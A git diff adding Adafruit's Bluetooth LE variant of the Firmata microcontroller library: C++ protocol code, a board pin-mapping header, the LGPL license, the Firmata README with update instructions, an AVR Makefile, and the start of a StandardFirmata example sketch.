make sure that the name has been set before reporting + startSysex(); + FirmataSerial.write(REPORT_FIRMWARE); + FirmataSerial.write(firmwareVersionVector[0]); // major version number + FirmataSerial.write(firmwareVersionVector[1]); // minor version number + for(i=2; i 0) && (inputData < 128) ) { + waitForData--; + storedInputData[waitForData] = inputData; +#ifdef BLE_DEBUG + Serial.print(F(" 0x")); Serial.print(inputData, HEX); +#endif + + if( (waitForData==0) && executeMultiByteCommand ) { // got the whole message + +#ifdef BLE_DEBUG + Serial.println(); +#endif + + + switch(executeMultiByteCommand) { + case ANALOG_MESSAGE: + if(currentAnalogCallback) { + (*currentAnalogCallback)(multiByteChannel, + (storedInputData[0] << 7) + + storedInputData[1]); + } + break; + case DIGITAL_MESSAGE: + if(currentDigitalCallback) { + (*currentDigitalCallback)(multiByteChannel, + (storedInputData[0] << 7) + + storedInputData[1]); + } + break; + case SET_PIN_MODE: + if(currentPinModeCallback) + (*currentPinModeCallback)(storedInputData[1], storedInputData[0]); + break; + case REPORT_ANALOG: + if(currentReportAnalogCallback) + (*currentReportAnalogCallback)(multiByteChannel,storedInputData[0]); + break; + case REPORT_DIGITAL: + if(currentReportDigitalCallback) + (*currentReportDigitalCallback)(multiByteChannel,storedInputData[0]); + break; + } + executeMultiByteCommand = 0; + } + } else { +#ifdef BLE_DEBUG + Serial.print(F("\tReceived 0x")); Serial.print(inputData, HEX); +#endif + // remove channel info from command byte if less than 0xF0 + if(inputData < 0xF0) { + command = inputData & 0xF0; + multiByteChannel = inputData & 0x0F; + } else { + command = inputData; + // commands in the 0xF* range don't use channel data + } + switch (command) { + case ANALOG_MESSAGE: + case DIGITAL_MESSAGE: + case SET_PIN_MODE: + waitForData = 2; // two data bytes needed + executeMultiByteCommand = command; + break; + case REPORT_ANALOG: + case REPORT_DIGITAL: + waitForData = 1; // two data bytes needed + executeMultiByteCommand = command; + break; + case START_SYSEX: + parsingSysex = true; + sysexBytesRead = 0; + break; + case SYSTEM_RESET: + systemReset(); + break; + case REPORT_VERSION: + printVersion(); + break; + } + } + + return inputData; +} + +//------------------------------------------------------------------------------ +// Serial Send Handling + +// send an analog message +void Adafruit_BLE_FirmataClass::sendAnalog(byte pin, int value) +{ + // create a three byte buffer + uint8_t sendbuffer[3]; + + // pin can only be 0-15, so chop higher bits + //FirmataSerial.write(ANALOG_MESSAGE | (pin & 0xF)); + sendbuffer[0] = ANALOG_MESSAGE | (pin & 0xF); + + //sendValueAsTwo7bitBytes(value); + sendbuffer[1] = value % 128; // Tx bits 0-6 + sendbuffer[2] = (value >> 7) &0x7F; // Tx bits 7-13 + + FirmataSerial.write(sendbuffer, 3); +} + +// send a single digital pin in a digital message +void Adafruit_BLE_FirmataClass::sendDigital(byte pin, int value) +{ + /* TODO add single pin digital messages to the protocol, this needs to + * track the last digital data sent so that it can be sure to change just + * one bit in the packet. This is complicated by the fact that the + * numbering of the pins will probably differ on Arduino, Wiring, and + * other boards. The DIGITAL_MESSAGE sends 14 bits at a time, but it is + * probably easier to send 8 bit ports for any board with more than 14 + * digital pins. + */ + + // TODO: the digital message should not be sent on the serial port every + // time sendDigital() is called. Instead, it should add it to an int + // which will be sent on a schedule. If a pin changes more than once + // before the digital message is sent on the serial port, it should send a + // digital message for each change. + + // if(value == 0) + // sendDigitalPortPair(); +} + + +// send 14-bits in a single digital message (protocol v1) +// send an 8-bit port in a single digital message (protocol v2) +void Adafruit_BLE_FirmataClass::sendDigitalPort(byte portNumber, int portData) +{ + // create a three byte buffer + uint8_t sendbuffer[3]; + + sendbuffer[0] = DIGITAL_MESSAGE | (portNumber & 0xF); + sendbuffer[1] = (byte)portData % 128; // Tx bits 0-6 + sendbuffer[2] = portData >> 7; // Tx bits 7-13 + FirmataSerial.write(sendbuffer, 3); +} + + +void Adafruit_BLE_FirmataClass::sendSysex(byte command, byte bytec, byte* bytev) +{ + byte i; + startSysex(); + FirmataSerial.write(command); + for(i=0; i + +#if defined(ARDUINO) && ARDUINO >= 100 +#include "Arduino.h" // for digitalRead, digitalWrite, etc +#else +#include "WProgram.h" +#endif + +// Normally Servo.h must be included before Firmata.h (which then includes +// this file). If Servo.h wasn't included, this allows the code to still +// compile, but without support for any Servos. Hopefully that's what the +// user intended by not including Servo.h +#ifndef MAX_SERVOS +#define MAX_SERVOS 0 +#endif + +/* + Firmata Hardware Abstraction Layer + +Firmata is built on top of the hardware abstraction functions of Arduino, +specifically digitalWrite, digitalRead, analogWrite, analogRead, and +pinMode. While these functions offer simple integer pin numbers, Firmata +needs more information than is provided by Arduino. This file provides +all other hardware specific details. To make Firmata support a new board, +only this file should require editing. + +The key concept is every "pin" implemented by Firmata may be mapped to +any pin as implemented by Arduino. Usually a simple 1-to-1 mapping is +best, but such mapping should not be assumed. This hardware abstraction +layer allows Firmata to implement any number of pins which map onto the +Arduino implemented pins in almost any arbitrary way. + + +General Constants: + +These constants provide basic information Firmata requires. + +TOTAL_PINS: The total number of pins Firmata implemented by Firmata. + Usually this will match the number of pins the Arduino functions + implement, including any pins pins capable of analog or digital. + However, Firmata may implement any number of pins. For example, + on Arduino Mini with 8 analog inputs, 6 of these may be used + for digital functions, and 2 are analog only. On such boards, + Firmata can implement more pins than Arduino's pinMode() + function, in order to accommodate those special pins. The + Firmata protocol supports a maximum of 128 pins, so this + constant must not exceed 128. + +TOTAL_ANALOG_PINS: The total number of analog input pins implemented. + The Firmata protocol allows up to 16 analog inputs, accessed + using offsets 0 to 15. Because Firmata presents the analog + inputs using different offsets than the actual pin numbers + (a legacy of Arduino's analogRead function, and the way the + analog input capable pins are physically labeled on all + Arduino boards), the total number of analog input signals + must be specified. 16 is the maximum. + +VERSION_BLINK_PIN: When Firmata starts up, it will blink the version + number. This constant is the Arduino pin number where a + LED is connected. + + +Pin Mapping Macros: + +These macros provide the mapping between pins as implemented by +Firmata protocol and the actual pin numbers used by the Arduino +functions. Even though such mappings are often simple, pin +numbers received by Firmata protocol should always be used as +input to these macros, and the result of the macro should be +used with with any Arduino function. + +When Firmata is extended to support a new pin mode or feature, +a pair of macros should be added and used for all hardware +access. For simple 1:1 mapping, these macros add no actual +overhead, yet their consistent use allows source code which +uses them consistently to be easily adapted to all other boards +with different requirements. + +IS_PIN_XXXX(pin): The IS_PIN macros resolve to true or non-zero + if a pin as implemented by Firmata corresponds to a pin + that actually implements the named feature. + +PIN_TO_XXXX(pin): The PIN_TO macros translate pin numbers as + implemented by Firmata to the pin numbers needed as inputs + to the Arduino functions. The corresponding IS_PIN macro + should always be tested before using a PIN_TO macro, so + these macros only need to handle valid Firmata pin + numbers for the named feature. + + +Port Access Inline Funtions: + +For efficiency, Firmata protocol provides access to digital +input and output pins grouped by 8 bit ports. When these +groups of 8 correspond to actual 8 bit ports as implemented +by the hardware, these inline functions can provide high +speed direct port access. Otherwise, a default implementation +using 8 calls to digitalWrite or digitalRead is used. + +When porting Firmata to a new board, it is recommended to +use the default functions first and focus only on the constants +and macros above. When those are working, if optimized port +access is desired, these inline functions may be extended. +The recommended approach defines a symbol indicating which +optimization to use, and then conditional complication is +used within these functions. + +readPort(port, bitmask): Read an 8 bit port, returning the value. + port: The port number, Firmata pins port*8 to port*8+7 + bitmask: The actual pins to read, indicated by 1 bits. + +writePort(port, value, bitmask): Write an 8 bit port. + port: The port number, Firmata pins port*8 to port*8+7 + value: The 8 bit value to write + bitmask: The actual pins to write, indicated by 1 bits. +*/ + +/*============================================================================== + * Board Specific Configuration + *============================================================================*/ + +#ifndef digitalPinHasPWM +#define digitalPinHasPWM(p) IS_PIN_DIGITAL(p) +#endif + +// Arduino Duemilanove, Diecimila, and NG +#if defined(__AVR_ATmega168__) || defined(__AVR_ATmega328P__) +#if defined(NUM_ANALOG_INPUTS) && NUM_ANALOG_INPUTS == 6 +#define TOTAL_ANALOG_PINS 6 +#define TOTAL_PINS 22 // 14 digital (not all are 'digital/available') + 6 analog +#else +#define TOTAL_ANALOG_PINS 8 +#define TOTAL_PINS 22 // 14 digital + 8 analog +#endif + +#define VERSION_BLINK_PIN 99 +// we dont use digital 2 or 9, 10, 11, 12, 13 -> BTLE link +#define IS_PIN_DIGITAL(p) (((p) >= 3 && (p) <= 8) || ((p) >= 14 && (p) <= 19 )) +#define IS_PIN_ANALOG(p) ((p) >= 14 && (p) < 14 + TOTAL_ANALOG_PINS) +#define IS_PIN_PWM(p) digitalPinHasPWM(p) +#define IS_PIN_SERVO(p) (IS_PIN_DIGITAL(p) && (p) - 2 < MAX_SERVOS) +#define IS_PIN_I2C(p) ((p) == 18 || (p) == 19) +#define PIN_TO_DIGITAL(p) (p) +#define PIN_TO_ANALOG(p) ((p) - 14) +#define PIN_TO_PWM(p) PIN_TO_DIGITAL(p) +#define PIN_TO_SERVO(p) ((p) - 2) +#define ARDUINO_PINOUT_OPTIMIZE 0 + + +// Arduino Mega +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define TOTAL_ANALOG_PINS 16 +#define TOTAL_PINS 70 // 54 digital + 16 analog +#define VERSION_BLINK_PIN 13 +#define IS_PIN_DIGITAL(p) ((p) >= 2 && (p) < TOTAL_PINS) +#define IS_PIN_ANALOG(p) ((p) >= 54 && (p) < TOTAL_PINS) +#define IS_PIN_PWM(p) digitalPinHasPWM(p) +#define IS_PIN_SERVO(p) ((p) >= 2 && (p) - 2 < MAX_SERVOS) +#define IS_PIN_I2C(p) ((p) == 20 || (p) == 21) +#define PIN_TO_DIGITAL(p) (p) +#define PIN_TO_ANALOG(p) ((p) - 54) +#define PIN_TO_PWM(p) PIN_TO_DIGITAL(p) +#define PIN_TO_SERVO(p) ((p) - 2) + + +// anything else +#else +#error "Please edit Boards.h with a hardware abstraction for this board" +#endif + + +/*============================================================================== + * readPort() - Read an 8 bit port + *============================================================================*/ + +static inline unsigned char readPort(byte, byte) __attribute__((always_inline, unused)); +static inline unsigned char readPort(byte port, byte bitmask) +{ + unsigned char out=0, pin=port*8; + if (IS_PIN_DIGITAL(pin+0) && (bitmask & 0x01) && digitalRead(PIN_TO_DIGITAL(pin+0))) out |= 0x01; + if (IS_PIN_DIGITAL(pin+1) && (bitmask & 0x02) && digitalRead(PIN_TO_DIGITAL(pin+1))) out |= 0x02; + if (IS_PIN_DIGITAL(pin+2) && (bitmask & 0x04) && digitalRead(PIN_TO_DIGITAL(pin+2))) out |= 0x04; + if (IS_PIN_DIGITAL(pin+3) && (bitmask & 0x08) && digitalRead(PIN_TO_DIGITAL(pin+3))) out |= 0x08; + if (IS_PIN_DIGITAL(pin+4) && (bitmask & 0x10) && digitalRead(PIN_TO_DIGITAL(pin+4))) out |= 0x10; + if (IS_PIN_DIGITAL(pin+5) && (bitmask & 0x20) && digitalRead(PIN_TO_DIGITAL(pin+5))) out |= 0x20; + if (IS_PIN_DIGITAL(pin+6) && (bitmask & 0x40) && digitalRead(PIN_TO_DIGITAL(pin+6))) out |= 0x40; + if (IS_PIN_DIGITAL(pin+7) && (bitmask & 0x80) && digitalRead(PIN_TO_DIGITAL(pin+7))) out |= 0x80; + return out; + +} + +/*============================================================================== + * writePort() - Write an 8 bit port, only touch pins specified by a bitmask + *============================================================================*/ + +static inline unsigned char writePort(byte, byte, byte) __attribute__((always_inline, unused)); +static inline unsigned char writePort(byte port, byte value, byte bitmask) +{ +#if defined(ARDUINO_PINOUT_OPTIMIZE) + if (port == 0) { + bitmask = bitmask & 0xFC; // do not touch Tx & Rx pins + byte valD = value & bitmask; + byte maskD = ~bitmask; + cli(); + PORTD = (PORTD & maskD) | valD; + sei(); + } else if (port == 1) { + byte valB = (value & bitmask) & 0x3F; + byte valC = (value & bitmask) >> 6; + byte maskB = ~(bitmask & 0x3F); + byte maskC = ~((bitmask & 0xC0) >> 6); + cli(); + PORTB = (PORTB & maskB) | valB; + PORTC = (PORTC & maskC) | valC; + sei(); + } else if (port == 2) { + bitmask = bitmask & 0x0F; + byte valC = (value & bitmask) << 2; + byte maskC = ~(bitmask << 2); + cli(); + PORTC = (PORTC & maskC) | valC; + sei(); + } +#else + byte pin=port*8; + for (uint8_t i=0; i<8; i++) { + if (bitmask & (1 << i)) { + // dont touch non-digital pins + if (IS_PIN_DIGITAL(pin+i)) + digitalWrite(PIN_TO_DIGITAL(pin+i), (value & (1 << i))); + } + } +#endif +} + + + + +#ifndef TOTAL_PORTS +#define TOTAL_PORTS ((TOTAL_PINS + 7) / 8) +#endif + + +#endif /* BLE_Firmata_Boards_h */ + diff --git a/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/LICENSE.txt b/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/LICENSE.txt new file mode 100755 index 0000000..77cec6d --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/LICENSE.txt @@ -0,0 +1,458 @@ + + GNU LESSER GENERAL PUBLIC LICENSE + Version 2.1, February 1999 + + Copyright (C) 1991, 1999 Free Software Foundation, Inc. + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + +[This is the first released version of the Lesser GPL. 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The [protocol](http://firmata.org/wiki/Protocol) can be implemented in firmware on any microcontroller architecture as well as software on any host computer software package. The arduino repository described here is a Firmata library for Arduino and Arduino-compatible devices. See the [firmata wiki](http://firmata.org/wiki/Main_Page) for additional informataion. If you would like to contribute to Firmata, please see the [Contributing](#contributing) section below. + +##Usage + +There are two main models of usage of Firmata. In one model, the author of the Arduino sketch uses the various methods provided by the Firmata library to selectively send and receive data between the Arduino device and the software running on the host computer. For example, a user can send analog data to the host using ``` Firmata.sendAnalog(analogPin, analogRead(analogPin)) ``` or send data packed in a string using ``` Firmata.sendString(stringToSend) ```. See File -> Examples -> Firmata -> AnalogFirmata & EchoString respectively for examples. + +The second and more common model is to load a general purpose sketch called StandardFirmata on the Arduino board and then use the host computer exclusively to interact with the Arduino board. StandardFirmata is located in the Arduino IDE in File -> Examples -> Firmata. + +##Firmata Client Libraries +Most of the time you will be interacting with arduino with a client library on the host computers. Several Firmata client libraries have been implemented in a variety of popular programming languages: + +* procesing + * [https://github.com/firmata/processing] + * [http://funnel.cc] +* python + * [https://github.com/firmata/pyduino] + * [https://github.com/lupeke/python-firmata] + * [https://github.com/tino/pyFirmata] +* perl + * [https://github.com/ntruchsess/perl-firmata] + * [https://github.com/rcaputo/rx-firmata] +* ruby + * [https://github.com/hardbap/firmata] + * [https://github.com/PlasticLizard/rufinol] + * [http://funnel.cc] +* clojure + * [https://github.com/nakkaya/clodiuno] +* javascript + * [https://github.com/jgautier/firmata] + * [http://breakoutjs.com] + * [https://github.com/rwldrn/johnny-five] +* java + * [https://github.com/4ntoine/Firmata] + * [https://github.com/shigeodayo/Javarduino] +* .NET + * [http://www.imagitronics.org/projects/firmatanet/] +* Flash/AS3 + * [http://funnel.cc] + * [http://code.google.com/p/as3glue/] +* PHP + * [https://bitbucket.org/ThomasWeinert/carica-firmata] + +Note: The above libraries may support various versions of the Firmata protocol and therefore may not support all features of the latest Firmata spec nor all arduino and arduino-compatible boards. Refer to the respective projects for details. + +##Updating Firmata in the Arduino IDE (< Arduino 1.5) +The version of firmata in the Arduino IDE contains an outdated version of Firmata. To update Firmata, clone the repo into the location of firmata in the arduino IDE or download the latest [tagged version](https://github.com/firmata/arduino/tags) (stable), rename the folder to "Firmata" and replace the existing Firmata folder in your Ardino application. + +**Mac OSX**: + +```bash +$ rm -r /Applications/Arduino.app/Contents/Resources/Java/libraries/Firmata +$ git clone git@github.com:firmata/arduino.git /Applications/Arduino.app/Contents/Resources/Java/libraries/Firmata +``` + +If you are downloading the latest tagged version of Firmata, rename it to "Firmata" and copy to /Applications/Arduino.app/Contents/Resources/Java/libraries/ overwriting the existing Firmata directory. Right-click (or conrol + click) on the Arduino application and choose "Show Package Contents" and navigate to the libraries directory. + +**Windows**: + +Using the Git Shell application installed with [GitHub for Windows](http://windows.github.com/) (set default shell in options to Git Bash) or other command line based git tool: + +update the path and arduino version as necessary +```bash +$ rm -r c:/Program\ Files/arduino-1.x/libraries/Firmata +$ git clone git@github.com:firmata/arduino.git c:/Program\ Files/arduino-1.x/libraries/Firmata +``` + +Note: If you use GitHub for Windows, you must clone the firmata/arduino repository using the Git Shell application as described above. You can use the Github for Windows GUI only after you have cloned the repository. Drag the Firmata file into the Github for Windows GUI to track it. + +**Linux**: + +update the path and arduino version as necessary +```bash +$ rm -r ~/arduino-1.x/libraries/Firmata +$ git clone git@github.com:firmata/arduino.git ~/arduino-1.x/libraries/Firmata +``` + +##Updating Firmata in the Arduino IDE (>= Arduino 1.5.2) +As of Arduino 1.5.2 and there are separate library directories for the sam and +avr architectures. To update Firmata in Arduino 1.5.2 or higher, follow the +instructions above for pre Arduino 1.5 versions but update the path as follows: + +**Mac OSX**: +``` +/Applications/Arduino.app/Contents/Resources/Java/hardware/arduino/avr/libraries/Firmata +/Applications/Arduino.app/Contents/Resources/Java/hardware/arduino/sam/libraries/Firmata +``` + +**Windows**: +``` +/Program\ Files/arduino-1.5.x/hardware/arduino/avr/libraries/Firmata +/Program\ Files/arduino-1.5.x/hardware/arduino/sam/libraries/Firmata +``` + +**Linux** +``` +~/arduino-1.5.x/hardware/arduino/avr/libraries/Firmata +~/arduino-1.5.x/hardware/arduino/sam/libraries/Firmata +``` + + +##Contributing + +If you discover a bug or would like to propose a new feature, please open a new [issue](https://github.com/firmata/arduino/issues?sort=created&state=open). Due to the limited memory of standard Arduino boards we cannot add every requested feature to StandardFirmata. Requests to add new features to StandardFirmata will be evaluated by the Firmata developers. However it is still possible to add new features to other Firmata implementations (Firmata is a protocol whereas StandardFirmata is just one of many possible implementations). + +To contribute, fork this respository and create a new topic branch for the bug, feature or other existing issue you are addressing. Submit the pull request against the *dev* branch. + +If you would like to contribute but don't have a specific bugfix or new feature to contribute, you can take on an existing issue, see issues labeled "pull-request-encouraged". Add a comment to the issue to express your intent to begin work and/or to get any additional information about the issue. + +You must thorougly test your contributed code. In your pull request, describe tests performed to ensure that no existing code is broken and that any changes maintain backwards compatibility with the existing api. Test on multiple Arduino board variants if possible. We hope to enable some form of automated (or at least semi-automated) testing in the future, but for now any tests will need to be executed manually by the contributor and reviewsers. + +Maintain the existing code style: + +- Indentation is 2 spaces +- Use spaces instead of tabs +- Use camel case for both private and public properties and methods +- Document functions (specific doc style is TBD... for now just be sure to document) +- Insert first block bracket on line following the function definition: + +
void someFunction()
+{
+  // do something
+}
+
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If you're using this makefile instead, you'll need to do +# a few things differently: +# +# - Give your program's file a .cpp extension (e.g. foo.cpp). +# +# - Put this line at top of your code: #include +# +# - Write prototypes for all your functions (or define them before you +# call them). A prototype declares the types of parameters a +# function will take and what type of value it will return. This +# means that you can have a call to a function before the definition +# of the function. A function prototype looks like the first line of +# the function, with a semi-colon at the end. For example: +# int digitalRead(int pin); +# +# Instructions for using the makefile: +# +# 1. Copy this file into the folder with your sketch. +# +# 2. Below, modify the line containing "TARGET" to refer to the name of +# of your program's file without an extension (e.g. TARGET = foo). +# +# 3. Modify the line containg "ARDUINO" to point the directory that +# contains the Arduino core (for normal Arduino installations, this +# is the hardware/cores/arduino sub-directory). +# +# 4. Modify the line containing "PORT" to refer to the filename +# representing the USB or serial connection to your Arduino board +# (e.g. PORT = /dev/tty.USB0). If the exact name of this file +# changes, you can use * as a wildcard (e.g. PORT = /dev/tty.USB*). +# +# 5. At the command line, change to the directory containing your +# program's file and the makefile. +# +# 6. Type "make" and press enter to compile/verify your program. +# +# 7. Type "make upload", reset your Arduino board, and press enter to +# upload your program to the Arduino board. +# +# $Id: Makefile,v 1.7 2007/04/13 05:28:23 eighthave Exp $ + +PORT = /dev/tty.usbserial-* +TARGET := $(shell pwd | sed 's|.*/\(.*\)|\1|') +ARDUINO = /Applications/arduino +ARDUINO_SRC = $(ARDUINO)/hardware/cores/arduino +ARDUINO_LIB_SRC = $(ARDUINO)/hardware/libraries +ARDUINO_TOOLS = $(ARDUINO)/hardware/tools +INCLUDE = -I$(ARDUINO_SRC) -I$(ARDUINO)/hardware/tools/avr/avr/include \ + -I$(ARDUINO_LIB_SRC)/EEPROM \ + -I$(ARDUINO_LIB_SRC)/Firmata \ + -I$(ARDUINO_LIB_SRC)/Matrix \ + -I$(ARDUINO_LIB_SRC)/Servo \ + -I$(ARDUINO_LIB_SRC)/Wire \ + -I$(ARDUINO_LIB_SRC) +SRC = $(wildcard $(ARDUINO_SRC)/*.c) +CXXSRC = applet/$(TARGET).cpp $(ARDUINO_SRC)/HardwareSerial.cpp \ + $(ARDUINO_LIB_SRC)/EEPROM/EEPROM.cpp \ + $(ARDUINO_LIB_SRC)/Firmata/Firmata.cpp \ + $(ARDUINO_LIB_SRC)/Servo/Servo.cpp \ + $(ARDUINO_SRC)/Print.cpp \ + $(ARDUINO_SRC)/WMath.cpp +HEADERS = $(wildcard $(ARDUINO_SRC)/*.h) $(wildcard $(ARDUINO_LIB_SRC)/*/*.h) + +MCU = atmega168 +#MCU = atmega8 +F_CPU = 16000000 +FORMAT = ihex +UPLOAD_RATE = 19200 + +# Name of this Makefile (used for "make depend"). +MAKEFILE = Makefile + +# Debugging format. +# Native formats for AVR-GCC's -g are stabs [default], or dwarf-2. +# AVR (extended) COFF requires stabs, plus an avr-objcopy run. +DEBUG = stabs + +OPT = s + +# Place -D or -U options here +CDEFS = -DF_CPU=$(F_CPU) +CXXDEFS = -DF_CPU=$(F_CPU) + +# Compiler flag to set the C Standard level. +# c89 - "ANSI" C +# gnu89 - c89 plus GCC extensions +# c99 - ISO C99 standard (not yet fully implemented) +# gnu99 - c99 plus GCC extensions +CSTANDARD = -std=gnu99 +CDEBUG = -g$(DEBUG) +CWARN = -Wall -Wstrict-prototypes +CTUNING = -funsigned-char -funsigned-bitfields -fpack-struct -fshort-enums +#CEXTRA = -Wa,-adhlns=$(<:.c=.lst) + +CFLAGS = $(CDEBUG) $(CDEFS) $(INCLUDE) -O$(OPT) $(CWARN) $(CSTANDARD) $(CEXTRA) +CXXFLAGS = $(CDEFS) $(INCLUDE) -O$(OPT) +#ASFLAGS = -Wa,-adhlns=$(<:.S=.lst),-gstabs +LDFLAGS = + + +# Programming support using avrdude. Settings and variables. +AVRDUDE_PROGRAMMER = stk500 +AVRDUDE_PORT = $(PORT) +AVRDUDE_WRITE_FLASH = -U flash:w:applet/$(TARGET).hex +AVRDUDE_FLAGS = -F -p $(MCU) -P $(AVRDUDE_PORT) -c $(AVRDUDE_PROGRAMMER) \ + -b $(UPLOAD_RATE) -q -V + +# Program settings +ARDUINO_AVR_BIN = $(ARDUINO_TOOLS)/avr/bin +CC = $(ARDUINO_AVR_BIN)/avr-gcc +CXX = $(ARDUINO_AVR_BIN)/avr-g++ +OBJCOPY = $(ARDUINO_AVR_BIN)/avr-objcopy +OBJDUMP = $(ARDUINO_AVR_BIN)/avr-objdump +SIZE = $(ARDUINO_AVR_BIN)/avr-size +NM = $(ARDUINO_AVR_BIN)/avr-nm +#AVRDUDE = $(ARDUINO_AVR_BIN)/avrdude +AVRDUDE = avrdude +REMOVE = rm -f +MV = mv -f + +# Define all object files. +OBJ = $(SRC:.c=.o) $(CXXSRC:.cpp=.o) $(ASRC:.S=.o) + +# Define all listing files. +LST = $(ASRC:.S=.lst) $(CXXSRC:.cpp=.lst) $(SRC:.c=.lst) + +# Combine all necessary flags and optional flags. +# Add target processor to flags. +ALL_CFLAGS = -mmcu=$(MCU) -I. $(CFLAGS) +ALL_CXXFLAGS = -mmcu=$(MCU) -I. $(CXXFLAGS) +ALL_ASFLAGS = -mmcu=$(MCU) -I. -x assembler-with-cpp $(ASFLAGS) + + +# Default target. +all: build + +build: applet/$(TARGET).hex + +eep: applet/$(TARGET).eep +lss: applet/$(TARGET).lss +sym: applet/$(TARGET).sym + + +# Convert ELF to COFF for use in debugging / simulating in AVR Studio or VMLAB. +COFFCONVERT=$(OBJCOPY) --debugging \ +--change-section-address .data-0x800000 \ +--change-section-address .bss-0x800000 \ +--change-section-address .noinit-0x800000 \ +--change-section-address .eeprom-0x810000 + + +coff: applet/$(TARGET).elf + $(COFFCONVERT) -O coff-avr applet/$(TARGET).elf applet/$(TARGET).cof + + +extcoff: applet/$(TARGET).elf + $(COFFCONVERT) -O coff-ext-avr applet/$(TARGET).elf applet/$(TARGET).cof + + +.SUFFIXES: .elf .hex .eep .lss .sym .pde + +.elf.hex: + $(OBJCOPY) -O $(FORMAT) -R .eeprom $< $@ + +.elf.eep: + -$(OBJCOPY) -j .eeprom --set-section-flags=.eeprom="alloc,load" \ + --change-section-lma .eeprom=0 -O $(FORMAT) $< $@ + +# Create extended listing file from ELF output file. +.elf.lss: + $(OBJDUMP) -h -S $< > $@ + +# Create a symbol table from ELF output file. +.elf.sym: + $(NM) -n $< > $@ + + +# Compile: create object files from C++ source files. +.cpp.o: $(HEADERS) + $(CXX) -c $(ALL_CXXFLAGS) $< -o $@ + +# Compile: create object files from C source files. +.c.o: $(HEADERS) + $(CC) -c $(ALL_CFLAGS) $< -o $@ + + +# Compile: create assembler files from C source files. +.c.s: + $(CC) -S $(ALL_CFLAGS) $< -o $@ + + +# Assemble: create object files from assembler source files. +.S.o: + $(CC) -c $(ALL_ASFLAGS) $< -o $@ + + + +applet/$(TARGET).cpp: $(TARGET).pde + test -d applet || mkdir applet + echo '#include "WProgram.h"' > applet/$(TARGET).cpp + echo '#include "avr/interrupt.h"' >> applet/$(TARGET).cpp + sed -n 's|^\(void .*)\).*|\1;|p' $(TARGET).pde | grep -v 'setup()' | \ + grep -v 'loop()' >> applet/$(TARGET).cpp + cat $(TARGET).pde >> applet/$(TARGET).cpp + cat $(ARDUINO_SRC)/main.cxx >> applet/$(TARGET).cpp + +# Link: create ELF output file from object files. +applet/$(TARGET).elf: applet/$(TARGET).cpp $(OBJ) + $(CC) $(ALL_CFLAGS) $(OBJ) -lm --output $@ $(LDFLAGS) +# $(CC) $(ALL_CFLAGS) $(OBJ) $(ARDUINO_TOOLS)/avr/avr/lib/avr5/crtm168.o --output $@ $(LDFLAGS) + +pd_close_serial: + echo 'close;' | /Applications/Pd-extended.app/Contents/Resources/bin/pdsend 34567 || true + +# Program the device. +upload: applet/$(TARGET).hex + $(AVRDUDE) $(AVRDUDE_FLAGS) $(AVRDUDE_WRITE_FLASH) + + +pd_test: build pd_close_serial upload + +# Target: clean project. +clean: + $(REMOVE) -- applet/$(TARGET).hex applet/$(TARGET).eep \ + applet/$(TARGET).cof applet/$(TARGET).elf $(TARGET).map \ + applet/$(TARGET).sym applet/$(TARGET).lss applet/$(TARGET).cpp \ + $(OBJ) $(LST) $(SRC:.c=.s) $(SRC:.c=.d) $(CXXSRC:.cpp=.s) $(CXXSRC:.cpp=.d) + rmdir -- applet + +depend: + if grep '^# DO NOT DELETE' $(MAKEFILE) >/dev/null; \ + then \ + sed -e '/^# DO NOT DELETE/,$$d' $(MAKEFILE) > \ + $(MAKEFILE).$$$$ && \ + $(MV) $(MAKEFILE).$$$$ $(MAKEFILE); \ + fi + echo '# DO NOT DELETE THIS LINE -- make depend depends on it.' \ + >> $(MAKEFILE); \ + $(CC) -M -mmcu=$(MCU) $(CDEFS) $(INCLUDE) $(SRC) $(ASRC) >> $(MAKEFILE) + +.PHONY: all build eep lss sym coff extcoff clean depend pd_close_serial pd_test + +# for emacs +etags: + make etags_`uname -s` + etags *.pde \ + $(ARDUINO_SRC)/*.[ch] \ + $(ARDUINO_SRC)/*.cpp \ + $(ARDUINO_LIB_SRC)/*/*.[ch] \ + $(ARDUINO_LIB_SRC)/*/*.cpp \ + $(ARDUINO)/hardware/tools/avr/avr/include/avr/*.[ch] \ + $(ARDUINO)/hardware/tools/avr/avr/include/*.[ch] + +etags_Darwin: +# etags -a + +etags_Linux: +# etags -a /usr/include/*.h linux/input.h /usr/include/sys/*.h + +etags_MINGW: +# etags -a /usr/include/*.h /usr/include/sys/*.h + + +path: + echo $(PATH) + echo $$PATH + diff --git a/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/examples/StandardFirmata/StandardFirmata.ino b/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/examples/StandardFirmata/StandardFirmata.ino new file mode 100755 index 0000000..36c64df --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/examples/StandardFirmata/StandardFirmata.ino @@ -0,0 +1,738 @@ +/* + * Firmata is a generic protocol for communicating with microcontrollers + * from software on a host computer. It is intended to work with + * any host computer software package. + * + * This version is modified to specifically work with Adafruit's BLE + * library. It no longer works over the standard "USB" connection! + */ + +/* + Copyright (C) 2006-2008 Hans-Christoph Steiner. All rights reserved. + Copyright (C) 2010-2011 Paul Stoffregen. All rights reserved. + Copyright (C) 2009 Shigeru Kobayashi. All rights reserved. + Copyright (C) 2009-2011 Jeff Hoefs. All rights reserved. + Copyright (C) 2014 Limor Fried/Kevin Townsend All rights reserved. + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + See file LICENSE.txt for further informations on licensing terms. + + formatted using the GNU C formatting and indenting +*/ + +/* + * TODO: use Program Control to load stored profiles from EEPROM + */ + +#include +#include +#include +#include +#include "Adafruit_BLE_UART.h" + +#define AUTO_INPUT_PULLUPS true + +// Connect CLK/MISO/MOSI to hardware SPI +// e.g. On UNO & compatible: CLK = 13, MISO = 12, MOSI = 11 +#define ADAFRUITBLE_REQ 10 +#define ADAFRUITBLE_RDY 2 // This should be an interrupt pin, on Uno thats #2 or #3 +#define ADAFRUITBLE_RST 9 + +// so we have digital 3-8 and analog 0-6 + +Adafruit_BLE_UART BLEserial = Adafruit_BLE_UART(ADAFRUITBLE_REQ, ADAFRUITBLE_RDY, ADAFRUITBLE_RST); + + +// make one instance for the user to use 